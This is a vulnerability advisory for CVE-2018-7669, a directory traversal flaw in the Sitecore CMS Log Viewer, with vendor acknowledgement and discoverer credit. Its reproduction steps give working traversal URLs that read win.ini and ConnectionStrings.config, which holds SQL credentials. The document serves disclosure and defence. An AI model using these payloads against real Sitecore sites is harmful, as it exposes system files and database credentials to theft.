Sitecore Directory Traversal Vulnerability
CVE-2018-7669 (reserved)


An issue was discovered in Sitecore CMS that affects at least
'Sitecore.NET 8.1' rev. 151207 Hotfix 141178-1 and above. The 'Log Viewer'
application is vulnerable to a directory traversal attack, allowing an attacker
to access arbitrary files from the host Operating System using a
'sitecore/shell/default.aspx?xmlcontrol=LogViewerDetails&file=' URI. Validation
is performed to ensure that the text passed to the 'file' parameter correlates
to the correct log file directory. This filter can be bypassed by including a
valid log filename and then appending a traditional 'dot dot' style attack.


[Steps to Reproduce]
The 'Log Viewer' application renders log files from the local filesystem inside
the web browser using a URL like the following:
http://<website>/sitecore/shell/default.aspx?xmlcontrol=LogViewerDetails&file=


The following URL can be used to validate the vulnerability by accessing the
win.ini file on a Windows host (remove line breaks):
http://<website>/sitecore/shell/default.aspx?xmlcontrol=LogViewerDetails&file=
c%3a%5cwebsites%5c<website>%5cdata%5clogs%5<valid log file>.txt\
..\..\..\..\..\windows\win.ini


The following URL can be used to access the application's configuration file
containing SQL login credentials (remove line breaks):
http://<website>/sitecore/shell/default.aspx?xmlcontrol=LogViewerDetails&file=
c%3a%5cwebsites%5c<website>%5cdata%5clogs%5c<valid log file>.txt\
..\..\..\Website\App_Config\ConnectionStrings.config


Both of the above URLs are dependent on the application's configuration and
must be modified to correct the <website> and <valid log file> portion.


[Additional Information]
Vendor confirmed receipt of the vulnerability and stated a fix was in progress.
Vendor acknowledgement: https://kb.sitecore.net/articles/356221


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[Vulnerability Type]
Directory Traversal


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[Vendor of Product]
Sitecore


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[Affected Product Code Base]
CMS - 8.1 and up (earlier versions untested)


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[Attack Type]
Remote


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[Impact Information Disclosure]
true


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[Has vendor confirmed or acknowledged the vulnerability?]
true


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[Discoverer]
Chris Moberly @ The Missing Link Security